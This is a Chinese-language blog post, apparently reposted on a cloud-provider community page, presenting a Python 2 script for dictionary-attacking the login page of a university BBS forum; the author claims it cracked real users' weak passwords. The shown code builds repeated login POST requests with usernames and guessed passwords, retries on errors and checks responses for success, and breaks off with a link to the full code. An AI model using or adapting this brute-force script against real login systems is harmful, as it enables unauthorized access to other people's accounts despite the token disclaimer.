用python破解某211大學BBS論壇使用者密碼

來源:互聯網
上載者:User

標籤:python   破解   

本文只是舉一反三,用python示範一個思路,適用於不同的網站或者論壇。 請勿用於非法行為。

以下代碼親測有效,破解了一些使用者的弱密碼。當然破解的成功率和你的字典有關,越複雜的字典,成功率就越高,但是花費的時間也就越長。

# -*- coding: utf-8 -*-__author__ = ‘rocky‘# 破解211高校BBS論壇的使用者密碼#來源:http://www.rcdisk.com  # 刃草網-記錄你的自學import cookielib, urllib, urllib2, re, time,sysclass BBS_sysu():    def __init__(self):    #構造urllib的資料頭        self.login_url = "http://bbs.xxxx.edu.cn/login"        self.user_agent = ‘Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)‘        self.headers = {‘User-Agent‘: self.user_agent}        self.cookie = cookielib.CookieJar()        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))        self.pattern = re.compile(r‘"success":"(d)"‘)        self.guess = False        self.ignore=False    def urlopen_try(self,req,times=5):        data=""        try:            result = self.opener.open(req)            data=result.read()        except Exception,what:            print what, req;            if times>0:                time.sleep(20)                self.urlopen_try(req,times-1)                #time.sleep(10)            else:                print "Get Failed",req                time.sleep(5)                self.ignore=True                return data        return data#破解函數,精華所在    def crack(self, userid, password):        postdata = urllib.urlencode({‘userid‘: userid, ‘passwd‘: password})        #將使用者名稱和密碼進行編碼        req = urllib2.Request(self.login_url, data=postdata, headers=self.headers)        #構造一個Request,傳入header和url,使用者的資料

完整代碼-> http://www.rcdisk.com/index.php/group/topic/id-4

用python破解某211大學BBS論壇使用者密碼

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.